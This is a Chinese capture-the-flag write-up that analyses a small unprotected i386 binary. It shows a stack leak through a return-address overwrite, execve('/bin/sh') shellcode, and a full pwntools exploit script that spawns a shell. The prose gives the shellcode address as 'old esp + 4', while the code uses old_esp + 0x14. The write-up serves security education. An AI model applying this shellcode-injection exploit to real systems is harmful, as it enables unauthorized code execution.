1 程序分析
i386 架构,没有开任何保护,直接看汇编代码,包括一个 _start 和一个 _exit,_start 执行完后返回到 _exit
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| .text:08048060 _start proc near ; DATA XREF: LOAD:08048018↑o .text:08048060 push esp .text:08048061 push offset _exit .text:08048066 xor eax, eax .text:08048068 xor ebx, ebx .text:0804806A xor ecx, ecx .text:0804806C xor edx, edx .text:0804806E push 3A465443h .text:08048073 push 20656874h .text:08048078 push 20747261h .text:0804807D push 74732073h .text:08048082 push 2774654Ch .text:08048087 mov ecx, esp ; addr .text:08048089 mov dl, 14h ; len .text:0804808B mov bl, 1 ; fd .text:0804808D mov al, 4 .text:0804808F int 80h ; LINUX - sys_write .text:08048091 xor ebx, ebx .text:08048093 mov dl, 3Ch ; '<' .text:08048095 mov al, 3 .text:08048097 int 80h ; LINUX - .text:08048099 add esp, 14h .text:0804809C retn .text:0804809C _start endp ; sp-analysis failed
|
注意到有 2 个系统调用 int 80 指令,调用号分别为 4 和 3,查询 32 位系统调用表可知,对应的系统调用分别为 write 和 read。从 arg0 到 arg4,用于系统调用传参的寄存器为 ebx、ecx、edx、esi、edi。write 和 read 都只使用了前 3 个参数,原型如下:
1 2
| write(unsigned int fd, const char *buf, size_t count) read(unsigned int fd, char *buf, size_t count)
|
所以,该程序就做了 2 件事:
- 将字符串 “Let’s start the CTF:” 压栈,调用
write 将其输出到标准输出,传入的 buf 地址为 $esp
- 调用
read 从标准输入读取 0x3C 字节数据到栈上,传入的 buf 地址为 $esp
2 漏洞利用
栈可执行,retn 的前一条指令 add esp, 14h 可以看出至少需要覆盖 0x14 + 4 字节才能覆盖返回地址 saved eip,read 读取了 0x3C 字节。因此可以往栈上部署 shellcode
但首先要泄露栈上的地址,我们只有一个 write,所以可以考虑覆盖返回地址为 0x8048087,重新调用一次 write,此时传入的 buf 地址为原来的 esp + 0x14 + 0x4,也就是 _start 函数开头 push 进去的 old esp。因此覆盖返回地址为 0x8048087 可以泄露栈地址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| ──────────────────────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────────────────── 00:0000│ esp 0xffffca14 ◂— 0x2774654c ("Let'") 01:0004│ 0xffffca18 ◂— 0x74732073 ('s st') 02:0008│ 0xffffca1c ◂— 0x20747261 ('art ') 03:000c│ 0xffffca20 ◂— 0x20656874 ('the ') 04:0010│ 0xffffca24 ◂— 0x3a465443 ('CTF:') 05:0014│ 0xffffca28 —▸ 0x804809d (_exit) ◂— pop esp 06:0018│ 0xffffca2c —▸ 0xffffca30 ◂— 1 07:001c│ 0xffffca30 ◂— 1 ────────────────────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────────────────── ► 0 0x8048087 _start+39 ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── pwndbg> x/8xw $esp 0xffffca14: 0x2774654c 0x74732073 0x20747261 0x20656874 0xffffca24: 0x3a465443 0x0804809d 0xffffca30 0x00000001
|
然后程序会再一次 read 0x3C 字节,此时 esp 指向栈上保存的 old esp,通过 pwndbg 查看以及计算可知 old esp = esp + 0x4,retn 执行前会执行 add esp, 14h,retn 本身也会使 esp += 4,所以部署 shellcode 的地址只需要为泄露的 old esp + 4 即可
1 2 3 4 5 6 7 8 9 10 11 12 13
| shellcode = asm(""" xor eax, eax push 0x0068732f push 0x6e69622f mov ebx, esp xor ecx, ecx xor edx, edx mov al, 0xb int 0x80 """)
getshell = b"A" * 0x14 + p32(old_esp + 0x14) + shellcode
|
3 利用脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| from pwn import *
context(os='linux', arch='i386', log_level='debug')
elf = ELF('./start')
io = process(elf.path)
leak_stack = b"A" * 0x14 + p32(0x8048087)
io.recv() io.send(leak_stack) old_esp = u32(io.recv()[0:4])
log.info("old_esp: " + hex(old_esp))
shellcode = asm(""" xor eax, eax push 0x0068732f push 0x6e69622f mov ebx, esp xor ecx, ecx xor edx, edx mov al, 0xb int 0x80 """)
getshell = b"A" * 0x14 + p32(old_esp + 0x14) + shellcode
io.send(getshell)
io.interactive()
|